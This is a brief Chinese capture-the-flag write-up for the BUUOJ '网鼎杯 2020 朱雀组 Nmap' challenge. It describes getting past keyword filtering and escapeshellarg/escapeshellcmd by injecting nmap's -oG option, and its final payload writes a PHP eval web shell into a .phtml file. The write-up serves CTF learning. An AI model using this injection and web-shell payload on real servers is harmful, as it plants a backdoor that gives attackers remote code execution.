https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Nmap
会把扫描结果导出到一个文件里面
给参数f
传一个错误的文件名
通过报错发现使用了simplexml_load_file()
,那说明导出的文件格式是xml
的
使用输出格式可以将指定的内容输出到指定的文件格式
即便执行失败也无所谓,Nmap
会将执行语句记录输出文件。控制输出文件内容以及文件格式就可以解析了
题目环境经过测试可以发现只有-oG
是可以执行的,可以先上线一个shell,然后在服务器中检查使用其他参数的结果。就会发现只有-oG
是能正常执行的。
但是这里还有些过滤,比如过滤了关键字php
,可以使用php 短标签:https://www.php.net/manual/zh/language.basic-syntax.phptags.php
然后还有escapeshellarg()
和escapeshellcmd()
对传入的参数的保护(感觉有点点猜的意思
还有就是php
的文件无法写入,尝试写入一些可能会解析的其他文件后缀
最终payload
host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '